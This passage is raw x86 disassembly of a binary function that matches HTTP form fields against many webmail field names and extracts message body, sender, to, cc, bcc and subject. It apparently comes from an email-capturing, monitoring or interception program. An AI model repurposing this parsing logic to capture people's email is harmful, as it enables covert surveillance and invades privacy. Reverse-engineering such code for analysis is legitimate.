mov dword [esp + 0x1c], eax
lea eax, [esp + 0x1c]
push eax
push ecx
push edx
push esi
push ebx
push ebp
call fcn.5900d090
mov edi, eax
mov eax, dword [0x59155850]
add esp, 0x18
mov dword [esp + 0x54], edi
mov dword [esp + 0x38], eax
mov byte [esp + 0x190], 0x1a
mov dword [esp + 0x6c], eax
mov byte [esp + 0x190], 0x1b
mov dword [esp + 0x28], eax
mov byte [esp + 0x190], 0x1c
mov dword [esp + 0x48], eax
mov byte [esp + 0x190], 0x1d
mov dword [esp + 0x40], eax
mov byte [esp + 0x190], 0x1e
mov dword [esp + 0x3c], eax
mov byte [esp + 0x190], 0x1f
mov dword [esp + 0x2c], eax
lea ecx, [esp + 0xb4]
mov byte [esp + 0x190], 0x20
call fcn.590a4b00
lea ecx, [esp + 0x148]
mov byte [esp + 0x190], 0x21
call fcn.590a4b00
lea ecx, [esp + 0x134]
mov byte [esp + 0x190], 0x22
call fcn.590ab1c0
xor eax, eax
mov byte [esp + 0x190], 0x23
cmp edi, eax
mov dword [esp + 0x110], eax
mov dword [esp + 0x80], eax
je 0x590193a3
mov eax, dword [esp + 0x1c]
test eax, eax
je 0x590193a3
mov eax, dword [0x5915584c]
mov dword [esp + 0x10], eax
lea ecx, [esp + 0x10]
lea edx, [esp + 0x1c]
push ecx
push edx
push edi
mov byte [esp + 0x19c], 0x24
call fcn.5900f290
add esp, 0xc
test eax, eax
jne 0x590177e9
mov edx, dword [esp + 0x70]
lea eax, [esp + 0x1c]
lea ecx, [esp + 0xb0]
push eax
push ecx
push edx
jmp 0x59017817
mov eax, dword [esp + 0x1c]
push 0x5917ae30
push eax
push edi
call fcn.5900f390
add esp, 0xc
cmp eax, 0xffffffff
mov dword [esp + 0x18], eax
jne 0x5901783e
mov eax, dword [esp + 0x70]
lea ecx, [esp + 0x1c]
lea edx, [esp + 0xb0]
push ecx
push edx
push eax
push esi
push ebx
push ebp
call fcn.5900d090
mov edi, eax
add esp, 0x18
lea ecx, [esp + 0x10]
mov dword [esp + 0x54], edi
mov byte [esp + 0x190], 0x23
call fcn.59099e00
jmp 0x5901939b
mov edi, 0x5917ae30
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edi, dword [esp + 0x18]
not ecx
dec ecx
add edi, ecx
mov ecx, dword [esp + 0x1c]
sub ecx, edi
mov dword [esp + 0x18], edi
test ecx, ecx
jg 0x59017898
mov ecx, dword [esp + 0x70]
lea edx, [esp + 0x1c]
lea eax, [esp + 0xb0]
push edx
push eax
push ecx
push esi
push ebx
push ebp
call fcn.5900d090
add esp, 0x18
lea ecx, [esp + 0x10]
mov dword [esp + 0x54], eax
mov byte [esp + 0x190], 0x23
call fcn.59099e00
jmp 0x59019397
mov eax, dword [esp + 0x30]
test eax, eax
je 0x590178d3
mov edx, dword [esp + 0x10]
push str.MailOptions
push edx
call fcn.59081676
add esp, 8
test eax, eax
jne 0x590178d3
mov ebx, dword [esp + 0x54]
lea eax, [ebx + edi]
test eax, eax
je 0x590178d7
cmp byte [eax], 0x30
jne 0x590178d7
mov dword [esp + 0x80], 1
jmp 0x590178d7
mov ebx, dword [esp + 0x54]
mov eax, dword [esp + 0x10]
push str.__Click
push eax
call fcn.59081676
add esp, 8
test eax, eax
je 0x59017975
mov ecx, dword [esp + 0x10]
push str.SYSF_OriginalId
push ecx
call fcn.59081676
add esp, 8
test eax, eax
je 0x59017975
mov edx, dword [esp + 0x10]
push str.chc_pversion
push edx
call fcn.59081676
add esp, 8
test eax, eax
je 0x59017975
mov eax, dword [esp + 0x10]
push str.chc_sversion
push eax
call fcn.59081676
add esp, 8
test eax, eax
je 0x59017975
mov ecx, dword [esp + 0x10]
push str.FMS_FORMPART_TICKET
push ecx
call fcn.59081676
add esp, 8
test eax, eax
je 0x59017975
mov edx, dword [esp + 0x10]
push str.FMS_FORMPART_FILEDATA
push edx
call fcn.59081676
add esp, 8
test eax, eax
je 0x59017975
mov eax, dword [esp + 0x10]
push str.F_ParentDocId
push eax
call fcn.59081676
add esp, 8
test eax, eax
jne 0x5901797c
inc dword [esp + 0x110]
mov ecx, dword [esp + 0x10]
push 0x5917b6c4
push ecx
call fcn.59081676
add esp, 8
test eax, eax
jne 0x59017bbc
mov edx, dword [esp + 0x1c]
lea esi, [ebx + edi]
sub edx, edi
lea ecx, [esp + 0x88]
push edx
push esi
call fcn.590998b0
mov eax, dword [esp + 0xc4]
mov byte [esp + 0x190], 0x25
test eax, eax
mov eax, dword [esp + 0x88]
je 0x590179e2
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x590179e2
push 0x4e3
push eax
lea ecx, [esp + 0x40]
call fcn.590a35e0
jmp 0x59017b57
mov ecx, dword [esp + 0x94]
test ecx, ecx
jne 0x59017a08
mov eax, dword [esp + 0x1c]
sub eax, edi
push eax
push esi
call fcn.5900a640
add esp, 8
test eax, eax
mov eax, dword [esp + 0x88]
je 0x59017a23
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59017a23
push 0xfde9
push eax
lea ecx, [esp + 0x40]
call fcn.590a35e0
jmp 0x59017b57
mov ecx, dword [esp + 0x124]
test ecx, ecx
je 0x59017a49
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59017a49
push 0xcaed
push eax
lea ecx, [esp + 0x40]
call fcn.590a35e0
jmp 0x59017b57
cmp dword [esp + 0x11c], 0x3a8
jne 0x59017a8c
mov ecx, dword [esp + 0x1c]
sub ecx, edi
push ecx
push esi
call fcn.5900aa00
add esp, 8
test eax, eax
je 0x59017a85
mov edx, dword [esp + 0x88]
push 0x3a8
push edx
lea ecx, [esp + 0x40]
call fcn.590a35e0
jmp 0x59017b57
mov eax, dword [esp + 0x88]
mov ecx, dword [esp + 0xa8]
test ecx, ecx
jne 0x59017ab2
mov eax, dword [esp + 0x1c]
sub eax, edi
push eax
push esi
call fcn.5900aa60
add esp, 8
test eax, eax
mov eax, dword [esp + 0x88]
je 0x59017acd
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59017acd
push 0x2712
push eax
lea ecx, [esp + 0x40]
call fcn.590a35e0
jmp 0x59017b57
mov ecx, dword [eax - 8]
push ecx
push eax
call fcn.5900a700
add esp, 8
test eax, eax
mov eax, dword [esp + 0x88]
je 0x59017b4d
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59017b4d
push 1
push 0
push eax
call fcn.5900a810
mov ebx, eax
lea edi, [ebx + ebx + 4]
push edi
call fcn.591315b0
mov esi, eax
add esp, 0x10
test esi, esi
je 0x59017b57
mov ecx, edi
xor eax, eax
mov edx, ecx
mov edi, esi
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push 2
and ecx, 3
push esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x90]
push eax
call fcn.5900a810
add esp, 0xc
lea ecx, [esp + 0x38]
mov word [esi + ebx*2], 0
push esi
call fcn.5909f400
push esi
call fcn.591315d9
add esp, 4
jmp 0x59017b57
push eax
lea ecx, [esp + 0x3c]
call fcn.5909f4e0
mov eax, dword [esp + 0x38]
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59017ba0
lea ecx, [esp + 0x184]
push eax
push ecx
call fcn.5900b5b0
add esp, 8
lea edx, [esp + 0x184]
lea ecx, [esp + 0x6c]
push edx
mov byte [esp + 0x194], 0x26
call fcn.5909f310
lea ecx, [esp + 0x184]
mov byte [esp + 0x190], 0x25
call fcn.5909f180
lea ecx, [esp + 0x88]
mov byte [esp + 0x190], 0x24
call fcn.59099e00
mov ebx, dword [esp + 0x54]
mov edi, dword [esp + 0x18]
mov eax, dword [esp + 0x10]
push 0x5917b6bc
push eax
call fcn.59081676
add esp, 8
test eax, eax
je 0x59017de4
mov ecx, dword [esp + 0x10]
push 0x5917b6b4
push ecx
call fcn.59081676
add esp, 8
test eax, eax
je 0x59017de4
mov edx, dword [esp + 0x10]
push str.msgbody
push edx
call fcn.59081676
add esp, 8
test eax, eax
je 0x59017de4
mov eax, dword [esp + 0x10]
push str.msgtxt
push eax
call fcn.59081676
add esp, 8
test eax, eax
je 0x59017de4
mov ecx, dword [esp + 0x10]
push str.wbody
push ecx
call fcn.59081676
add esp, 8
test eax, eax
je 0x59017de4
mov edx, dword [esp + 0x10]
push str.emailmessage
push edx
call fcn.59081676
add esp, 8
test eax, eax
je 0x59017de4
mov eax, dword [esp + 0x10]
push 0x5917b684
push eax
call fcn.59081676
add esp, 8
test eax, eax
je 0x59017de4
mov ecx, dword [esp + 0x10]
push 0x5917b680
push ecx
call fcn.59081676
add esp, 8
test eax, eax
je 0x59017de4
mov edx, dword [esp + 0x10]
push str.MText
push edx
call fcn.59081676
add esp, 8
test eax, eax
je 0x59017de4
mov eax, dword [esp + 0x10]
push str.F_body
push eax
call fcn.59081676
add esp, 8
test eax, eax
je 0x59017de4
mov ecx, dword [esp + 0x10]
push str.text2
push ecx
call fcn.59081676
add esp, 8
test eax, eax
je 0x59017de4
mov edx, dword [esp + 0x10]
push 0x5917b65c
push edx
call fcn.59081676
add esp, 8
test eax, eax
je 0x59017de4
mov eax, dword [esp + 0x10]
push str.mailText
push eax
call fcn.59081676
add esp, 8
test eax, eax
je 0x59017de4
mov ecx, dword [esp + 0x10]
push 0x5917b648
push ecx
call fcn.59081676
add esp, 8
test eax, eax
je 0x59017de4
mov edx, dword [esp + 0x10]
push str.kerio_mailBody
push edx
call fcn.59081676
add esp, 8
test eax, eax
je 0x59017de4
mov eax, dword [esp + 0x10]
push str.mail_body
push eax
call fcn.59081676
add esp, 8
test eax, eax
je 0x59017de4
mov ecx, dword [esp + 0x10]
push str.mouldtext
push ecx
call fcn.59081676
add esp, 8
test eax, eax
je 0x59017de4
mov edx, dword [esp + 0x10]
push str.ftxtcon
push edx
call fcn.59081676
add esp, 8
test eax, eax
je 0x59017de4
mov eax, dword [esp + 0x10]
push 0x5917b608
push eax
call fcn.59081676
add esp, 8
test eax, eax
je 0x59017de4
mov ecx, dword [esp + 0x10]
push str.textInner
push ecx
call fcn.59081676
add esp, 8
test eax, eax
je 0x59017de4
mov edx, dword [esp + 0x10]
push str._message
push edx
call fcn.59081676
add esp, 8
test eax, eax
je 0x59017de4
mov eax, dword [esp + 0x10]
push str.TD_HTML_EDITOR_CONTENT
push eax
call fcn.59081676
add esp, 8
test eax, eax
jne 0x59017ff5
mov ecx, dword [esp + 0x1c]
lea esi, [ebx + edi]
sub ecx, edi
push ecx
push esi
lea ecx, [esp + 0x80]
call fcn.590998b0
mov eax, dword [esp + 0xc4]
mov byte [esp + 0x190], 0x27
test eax, eax
mov eax, dword [esp + 0x78]
je 0x59017e2d
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59017e2d
push 0x4e3
push eax
lea ecx, [esp + 0x30]
call fcn.590a35e0
jmp 0x59017f93
mov ecx, dword [esp + 0x94]
test ecx, ecx
jne 0x59017e50
mov edx, dword [esp + 0x1c]
sub edx, edi
push edx
push esi
call fcn.5900a640
add esp, 8
test eax, eax
mov eax, dword [esp + 0x78]
je 0x59017e6b
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59017e6b
push 0xfde9
push eax
lea ecx, [esp + 0x30]
call fcn.590a35e0
jmp 0x59017f93
mov ecx, dword [esp + 0x124]
test ecx, ecx
je 0x59017e91
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59017e91
push 0xcaed
push eax
lea ecx, [esp + 0x30]
call fcn.590a35e0
jmp 0x59017f93
cmp dword [esp + 0x11c], 0x3a8
jne 0x59017ece
mov eax, dword [esp + 0x1c]
sub eax, edi
push eax
push esi
call fcn.5900aa00
add esp, 8
test eax, eax
je 0x59017eca
mov ecx, dword [esp + 0x78]
push 0x3a8
push ecx
lea ecx, [esp + 0x30]
call fcn.590a35e0
jmp 0x59017f93
mov eax, dword [esp + 0x78]
mov ecx, dword [esp + 0xa8]
test ecx, ecx
jne 0x59017ef1
mov edx, dword [esp + 0x1c]
sub edx, edi
push edx
push esi
call fcn.5900aa60
add esp, 8
test eax, eax
mov eax, dword [esp + 0x78]
je 0x59017f0c
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59017f0c
push 0x2712
push eax
lea ecx, [esp + 0x30]
call fcn.590a35e0
jmp 0x59017f93
mov ecx, dword [eax - 8]
push ecx
push eax
call fcn.5900a700
add esp, 8
test eax, eax
mov eax, dword [esp + 0x78]
je 0x59017f89
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59017f89
push 1
push 0
push eax
call fcn.5900a810
mov ebx, eax
lea edi, [ebx + ebx + 4]
push edi
call fcn.591315b0
mov esi, eax
add esp, 0x10
test esi, esi
je 0x59017f93
mov ecx, edi
xor eax, eax
mov edx, ecx
mov edi, esi
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push 2
and ecx, 3
push esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x80]
push eax
call fcn.5900a810
add esp, 0xc
lea ecx, [esp + 0x28]
mov word [esi + ebx*2], 0
push esi
call fcn.5909f400
push esi
call fcn.591315d9
add esp, 4
jmp 0x59017f93
push eax
lea ecx, [esp + 0x2c]
call fcn.5909f4e0
mov eax, dword [esp + 0x28]
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59017fdc
lea ecx, [esp + 0x160]
push eax
push ecx
call fcn.5900b5b0
add esp, 8
lea edx, [esp + 0x160]
lea ecx, [esp + 0x28]
push edx
mov byte [esp + 0x194], 0x28
call fcn.5909f310
lea ecx, [esp + 0x160]
mov byte [esp + 0x190], 0x27
call fcn.5909f180
lea ecx, [esp + 0x78]
mov byte [esp + 0x190], 0x24
call fcn.59099e00
mov ebx, dword [esp + 0x54]
mov edi, dword [esp + 0x18]
mov eax, dword [esp + 0x10]
push 0x5917b5d0
push eax
call fcn.59081676
add esp, 8
test eax, eax
je 0x5901814d
mov ecx, dword [esp + 0x10]
push str.emailfrom
push ecx
call fcn.59081676
add esp, 8
test eax, eax
je 0x5901814d
mov edx, dword [esp + 0x10]
push str.USERID
push edx
call fcn.59081676
add esp, 8
test eax, eax
je 0x5901814d
mov eax, dword [esp + 0x10]
push str.F_from
push eax
call fcn.59081676
add esp, 8
test eax, eax
je 0x5901814d
mov ecx, dword [esp + 0x10]
push str.sender
push ecx
call fcn.59081676
add esp, 8
test eax, eax
je 0x5901814d
mov edx, dword [esp + 0x10]
push str.Fromtext
push edx
call fcn.59081676
add esp, 8
test eax, eax
je 0x5901814d
mov eax, dword [esp + 0x10]
push str.sendfrom
push eax
call fcn.59081676
add esp, 8
test eax, eax
je 0x5901814d
mov ecx, dword [esp + 0x10]
push str.defFromAddress
push ecx
call fcn.59081676
add esp, 8
test eax, eax
je 0x5901814d
mov edx, dword [esp + 0x10]
push 0x5917b57c
push edx
call fcn.59081676
add esp, 8
test eax, eax
je 0x5901814d
mov eax, dword [esp + 0x10]
push 0x5917a068
push eax
call fcn.59081676
add esp, 8
test eax, eax
je 0x5901814d
mov ecx, dword [esp + 0x10]
push 0x5917b574
push ecx
call fcn.59081676
add esp, 8
test eax, eax
je 0x5901814d
mov edx, dword [esp + 0x10]
push str.kerio_mailFrom
push edx
call fcn.59081676
add esp, 8
test eax, eax
je 0x5901814d
mov eax, dword [esp + 0x10]
push 0x5917b554
push eax
call fcn.59081676
add esp, 8
test eax, eax
je 0x5901814d
mov ecx, dword [esp + 0x10]
push str._from
push ecx
call fcn.59081676
add esp, 8
test eax, eax
jne 0x5901821a
mov edx, dword [esp + 0x1c]
lea esi, [ebx + edi]
sub edx, edi
lea ecx, [esp + 0x12c]
push edx
push esi
call fcn.590998b0
mov ebp, dword [esp + 0x94]
mov byte [esp + 0x190], 0x29
test ebp, ebp
jne 0x5901818b
mov eax, dword [esp + 0x1c]
sub eax, edi
push eax
push esi
call fcn.5900a640
add esp, 8
test eax, eax
je 0x590181aa
mov eax, dword [esp + 0x12c]
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x590181b1
push 0xfde9
push eax
lea ecx, [esp + 0x28]
call fcn.590a35e0
jmp 0x590181bb
mov eax, dword [esp + 0x12c]
push eax
lea ecx, [esp + 0x24]
call fcn.5909f4e0
mov eax, dword [esp + 0x20]
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59018204
lea ecx, [esp + 0x180]
push eax
push ecx
call fcn.5900b5b0
add esp, 8
lea edx, [esp + 0x180]
lea ecx, [esp + 0x20]
push edx
mov byte [esp + 0x194], 0x2a
call fcn.5909f310
lea ecx, [esp + 0x180]
mov byte [esp + 0x190], 0x29
call fcn.5909f180
lea ecx, [esp + 0x12c]
mov byte [esp + 0x190], 0x24
call fcn.59099e00
jmp 0x59018221
mov ebp, dword [esp + 0x94]
mov eax, dword [esp + 0x10]
push 0x5917b548
push eax
call fcn.59081676
add esp, 8
test eax, eax
je 0x590183ad
mov ecx, dword [esp + 0x10]
push str.rcpt
push ecx
call fcn.59081676
add esp, 8
test eax, eax
je 0x590183ad
mov edx, dword [esp + 0x10]
push str.sendto
push edx
call fcn.59081676
add esp, 8
test eax, eax
je 0x590183ad
mov eax, dword [esp + 0x10]
push str.emailto
push eax
call fcn.59081676
add esp, 8
test eax, eax
je 0x590183ad
mov ecx, dword [esp + 0x10]
push 0x5917b52c
push ecx
call fcn.59081676
add esp, 8
test eax, eax
je 0x590183ad
mov edx, dword [esp + 0x10]
push 0x5917b528
push edx
call fcn.59081676
add esp, 8
test eax, eax
je 0x590183ad
mov eax, dword [esp + 0x10]
push str.F_to
push eax
call fcn.59081676
add esp, 8
test eax, eax
je 0x590183ad
mov ecx, dword [esp + 0x10]
push str.MailTo
push ecx
call fcn.59081676
add esp, 8
test eax, eax
je 0x590183ad
mov edx, dword [esp + 0x10]
push str.recieved
push edx
call fcn.59081676
add esp, 8
test eax, eax
je 0x590183ad
mov eax, dword [esp + 0x10]
push 0x5917b508
push eax
call fcn.59081676
add esp, 8
test eax, eax
je 0x590183ad
mov ecx, dword [esp + 0x10]
push str.kerio_mailTo
push ecx
call fcn.59081676
add esp, 8
test eax, eax
je 0x590183ad
mov edx, dword [esp + 0x10]
push str.receiver
push edx
call fcn.59081676
add esp, 8
test eax, eax
je 0x590183ad
mov eax, dword [esp + 0x10]
push str.textbox_addressee
push eax
call fcn.59081676
add esp, 8
test eax, eax
je 0x590183ad
mov ecx, dword [esp + 0x10]
push 0x5917b4e8
push ecx
call fcn.59081676
add esp, 8
test eax, eax
je 0x590183ad
mov edx, dword [esp + 0x10]
push 0x5917b4e4
push edx
call fcn.59081676
add esp, 8
test eax, eax
je 0x590183ad
mov eax, dword [esp + 0x10]
push str.TO_ID
push eax
call fcn.59081676
add esp, 8
test eax, eax
jne 0x59018471
mov ecx, dword [esp + 0x1c]
lea esi, [ebx + edi]
sub ecx, edi
push ecx
push esi
lea ecx, [esp + 0x128]
call fcn.590998b0
test ebp, ebp
mov byte [esp + 0x190], 0x2b
jne 0x590183e4
mov edx, dword [esp + 0x1c]
sub edx, edi
push edx
push esi
call fcn.5900a640
add esp, 8
test eax, eax
je 0x59018403
mov eax, dword [esp + 0x120]
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x5901840a
push 0xfde9
push eax
lea ecx, [esp + 0x50]
call fcn.590a35e0
jmp 0x59018414
mov eax, dword [esp + 0x120]
push eax
lea ecx, [esp + 0x4c]
call fcn.5909f4e0
mov eax, dword [esp + 0x48]
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x5901845d
push eax
lea eax, [esp + 0x16c]
push eax
call fcn.5900b5b0
add esp, 8
lea ecx, [esp + 0x168]
mov byte [esp + 0x190], 0x2c
push ecx
lea ecx, [esp + 0x4c]
call fcn.5909f310
lea ecx, [esp + 0x168]
mov byte [esp + 0x190], 0x2b
call fcn.5909f180
lea ecx, [esp + 0x120]
mov byte [esp + 0x190], 0x24
call fcn.59099e00
mov edx, dword [esp + 0x10]
push 0x5917b4d8
push edx
call fcn.59081676
add esp, 8
test eax, eax
je 0x590185af
mov eax, dword [esp + 0x10]
push str.copyto
push eax
call fcn.59081676
add esp, 8
test eax, eax
je 0x590185af
mov ecx, dword [esp + 0x10]
push str.emailcc
push ecx
call fcn.59081676
add esp, 8
test eax, eax
je 0x590185af
mov edx, dword [esp + 0x10]
push 0x5917b4c4
push edx
call fcn.59081676
add esp, 8
test eax, eax
je 0x590185af
mov eax, dword [esp + 0x10]
push str.F_cc
push eax
call fcn.59081676
add esp, 8
test eax, eax
je 0x590185af
mov ecx, dword [esp + 0x10]
push str.MailCc
push ecx
call fcn.59081676
add esp, 8
test eax, eax
je 0x590185af
mov edx, dword [esp + 0x10]
push str.ccto
push edx
call fcn.59081676
add esp, 8
test eax, eax
je 0x590185af
mov eax, dword [esp + 0x10]
push 0x5917b4a8
push eax
call fcn.59081676
add esp, 8
test eax, eax
je 0x590185af
mov ecx, dword [esp + 0x10]
push str.kerio_mailCc
push ecx
call fcn.59081676
add esp, 8
test eax, eax
je 0x590185af
mov edx, dword [esp + 0x10]
push str.receivercc
push edx
call fcn.59081676
add esp, 8
test eax, eax
je 0x590185af
mov eax, dword [esp + 0x10]
push str.textbox_copy
push eax
call fcn.59081676
add esp, 8
test eax, eax
je 0x590185af
mov ecx, dword [esp + 0x10]
push 0x5917b478
push ecx
call fcn.59081676
add esp, 8
test eax, eax
je 0x590185af
mov edx, dword [esp + 0x10]
push str.COPY_TO_ID
push edx
call fcn.59081676
add esp, 8
test eax, eax
jne 0x59018673
mov eax, dword [esp + 0x1c]
lea esi, [ebx + edi]
sub eax, edi
lea ecx, [esp + 0x130]
push eax
push esi
call fcn.590998b0
test ebp, ebp
mov byte [esp + 0x190], 0x2d
jne 0x590185e6
mov ecx, dword [esp + 0x1c]
sub ecx, edi
push ecx
push esi
call fcn.5900a640
add esp, 8
test eax, eax
je 0x59018605
mov eax, dword [esp + 0x130]
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x5901860c
push 0xfde9
push eax
lea ecx, [esp + 0x48]
call fcn.590a35e0
jmp 0x59018616
mov eax, dword [esp + 0x130]
push eax
lea ecx, [esp + 0x44]
call fcn.5909f4e0
mov eax, dword [esp + 0x40]
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x5901865f
lea edx, [esp + 0x178]
push eax
push edx
call fcn.5900b5b0
add esp, 8
lea eax, [esp + 0x178]
lea ecx, [esp + 0x40]
push eax
mov byte [esp + 0x194], 0x2e
call fcn.5909f310
lea ecx, [esp + 0x178]
mov byte [esp + 0x190], 0x2d
call fcn.5909f180
lea ecx, [esp + 0x130]
mov byte [esp + 0x190], 0x24
call fcn.59099e00
mov ecx, dword [esp + 0x10]
push 0x5917b468
push ecx
call fcn.59081676
add esp, 8
test eax, eax
je 0x590187b1
mov edx, dword [esp + 0x10]
push str.blindcopyto
push edx
call fcn.59081676
add esp, 8
test eax, eax
je 0x590187b1
mov eax, dword [esp + 0x10]
push str.emailbcc
push eax
call fcn.59081676
add esp, 8
test eax, eax
je 0x590187b1
mov ecx, dword [esp + 0x10]
push str.MBCC
push ecx
call fcn.59081676
add esp, 8
test eax, eax
je 0x590187b1
mov edx, dword [esp + 0x10]
push str.F_bcc
push edx
call fcn.59081676
add esp, 8
test eax, eax
je 0x590187b1
mov eax, dword [esp + 0x10]
push str.MailBcc
push eax
call fcn.59081676
add esp, 8
test eax, eax
je 0x590187b1
mov ecx, dword [esp + 0x10]
push str.bcto
push ecx
call fcn.59081676
add esp, 8
test eax, eax
je 0x590187b1
mov edx, dword [esp + 0x10]
push str.bccx
push edx
call fcn.59081676
add esp, 8
test eax, eax
je 0x590187b1
mov eax, dword [esp + 0x10]
push str.kerio_mailBcc
push eax
call fcn.59081676
add esp, 8
test eax, eax
je 0x590187b1
mov ecx, dword [esp + 0x10]
push str.receiverBcc
push ecx
call fcn.59081676
add esp, 8
test eax, eax
je 0x590187b1
mov edx, dword [esp + 0x10]
push str.textbox_secret
push edx
call fcn.59081676
add esp, 8
test eax, eax
je 0x590187b1
mov eax, dword [esp + 0x10]
push str._bcc
push eax
call fcn.59081676
add esp, 8
test eax, eax
je 0x590187b1
mov ecx, dword [esp + 0x10]
push str.SECRET_TO_ID
push ecx
call fcn.59081676
add esp, 8
test eax, eax
jne 0x59018869
mov edx, dword [esp + 0x1c]
lea esi, [ebx + edi]
sub edx, edi
lea ecx, [esp + 0x68]
push edx
push esi
call fcn.590998b0
test ebp, ebp
mov byte [esp + 0x190], 0x2f
jne 0x590187e5
mov eax, dword [esp + 0x1c]
sub eax, edi
push eax
push esi
call fcn.5900a640
add esp, 8
test eax, eax
je 0x59018801
mov eax, dword [esp + 0x68]
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59018805
push 0xfde9
push eax
lea ecx, [esp + 0x44]
call fcn.590a35e0
jmp 0x5901880f
mov eax, dword [esp + 0x68]
push eax
lea ecx, [esp + 0x40]
call fcn.5909f4e0
mov eax, dword [esp + 0x3c]
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59018858
lea ecx, [esp + 0x170]
push eax
push ecx
call fcn.5900b5b0
add esp, 8
lea edx, [esp + 0x170]
lea ecx, [esp + 0x3c]
push edx
mov byte [esp + 0x194], 0x30
call fcn.5909f310
lea ecx, [esp + 0x170]
mov byte [esp + 0x190], 0x2f
call fcn.5909f180
lea ecx, [esp + 0x68]
mov byte [esp + 0x190], 0x24
call fcn.59099e00
mov eax, dword [esp + 0x10]
push 0x5917b3dc
push eax
call fcn.59081676
add esp, 8
test eax, eax
je 0x590189a7
mov ecx, dword [esp + 0x10]
push str.websubject
push ecx
call fcn.59081676
add esp, 8
test eax, eax
je 0x590189a7
mov edx, dword [esp + 0x10]
push str.emailsubject
push edx
call fcn.59081676
add esp, 8
test eax, eax
je 0x590189a7
mov eax, dword [esp + 0x10]
push 0x5917b3bc
push eax
call fcn.59081676
add esp, 8
test eax, eax
je 0x590189a7
mov ecx, dword [esp + 0x10]
push str.MSubject
push ecx
call fcn.59081676
add esp, 8
test eax, eax
je 0x590189a7
mov edx, dword [esp + 0x10]
push str.MailSubject
push edx
call fcn.59081676
add esp, 8
test eax, eax
je 0x590189a7
mov eax, dword [esp + 0x10]
push str.F_subj
push eax
call fcn.59081676
add esp, 8
test eax, eax
je 0x590189a7
mov ecx, dword [esp + 0x10]
push str.mailSubject
push ecx
call fcn.59081676
add esp, 8
test eax, eax
je 0x590189a7
mov edx, dword [esp + 0x10]
push str.subj
push edx
call fcn.59081676
add esp, 8
test eax, eax
je 0x590189a7
mov eax, dword [esp + 0x10]
push str.kerio_mailSubject
push eax
call fcn.59081676
add esp, 8
test eax, eax
je 0x590189a7
mov ecx, dword [esp + 0x10]
push str.textbox_subject
push ecx
call fcn.59081676
add esp, 8
test eax, eax
je 0x590189a7
mov edx, dword [esp + 0x10]
push str._subject
push edx
call fcn.59081676
add esp, 8
test eax, eax
je 0x590189a7
mov eax, dword [esp + 0x10]
push str.SUBJECT
push eax
call fcn.59081676
add esp, 8
test eax, eax
jne 0x59018ba0
mov ecx, dword [esp + 0x1c]
lea esi, [ebx + edi]
sub ecx, edi
push ecx
push esi
lea ecx, [esp + 0x8c]
call fcn.590998b0
mov eax, dword [esp + 0xc4]
mov byte [esp + 0x190], 0x31
test eax, eax
mov eax, dword [esp + 0x84]
je 0x590189f3
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x590189f3
push 0x4e3
push eax
lea ecx, [esp + 0x34]
call fcn.590a35e0
jmp 0x59018b3b
test ebp, ebp
jne 0x59018a12
mov edx, dword [esp + 0x1c]
sub edx, edi
push edx
push esi
call fcn.5900a640
add esp, 8
test eax, eax
mov eax, dword [esp + 0x84]
je 0x59018a2d
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59018a2d
push 0xfde9
push eax
lea ecx, [esp + 0x34]
call fcn.590a35e0
jmp 0x59018b3b
cmp dword [esp + 0x11c], 0x3a8
jne 0x59018a70
mov eax, dword [esp + 0x1c]
sub eax, edi
push eax
push esi
call fcn.5900aa00
add esp, 8
test eax, eax
je 0x59018a69
mov ecx, dword [esp + 0x84]
push 0x3a8
push ecx
lea ecx, [esp + 0x34]
call fcn.590a35e0
jmp 0x59018b3b
mov eax, dword [esp + 0x84]
mov ecx, dword [esp + 0xa8]
test ecx, ecx
jne 0x59018a96
mov edx, dword [esp + 0x1c]
sub edx, edi
push edx
push esi
call fcn.5900aa60
add esp, 8
test eax, eax
mov eax, dword [esp + 0x84]
je 0x59018ab1
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59018ab1
push 0x2712
push eax
lea ecx, [esp + 0x34]
call fcn.590a35e0
jmp 0x59018b3b
mov ecx, dword [eax - 8]
push ecx
push eax
call fcn.5900a700
add esp, 8
test eax, eax
mov eax, dword [esp + 0x84]
je 0x59018b31
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59018b31
push 1
push 0
push eax
call fcn.5900a810
mov ebx, eax
lea edi, [ebx + ebx + 4]
push edi
call fcn.591315b0
mov esi, eax
add esp, 0x10
test esi, esi
je 0x59018b3b
mov ecx, edi
xor eax, eax
mov edx, ecx
mov edi, esi
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push 2
and ecx, 3
push esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x8c]
push eax
call fcn.5900a810
add esp, 0xc
lea ecx, [esp + 0x2c]
mov word [esi + ebx*2], 0
push esi
call fcn.5909f400
push esi
call fcn.591315d9
add esp, 4
jmp 0x59018b3b
push eax
lea ecx, [esp + 0x30]
call fcn.5909f4e0
mov eax, dword [esp + 0x2c]
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59018b84
lea ecx, [esp + 0x15c]
push eax
push ecx
call fcn.5900b5b0
add esp, 8
lea edx, [esp + 0x15c]
lea ecx, [esp + 0x2c]
push edx
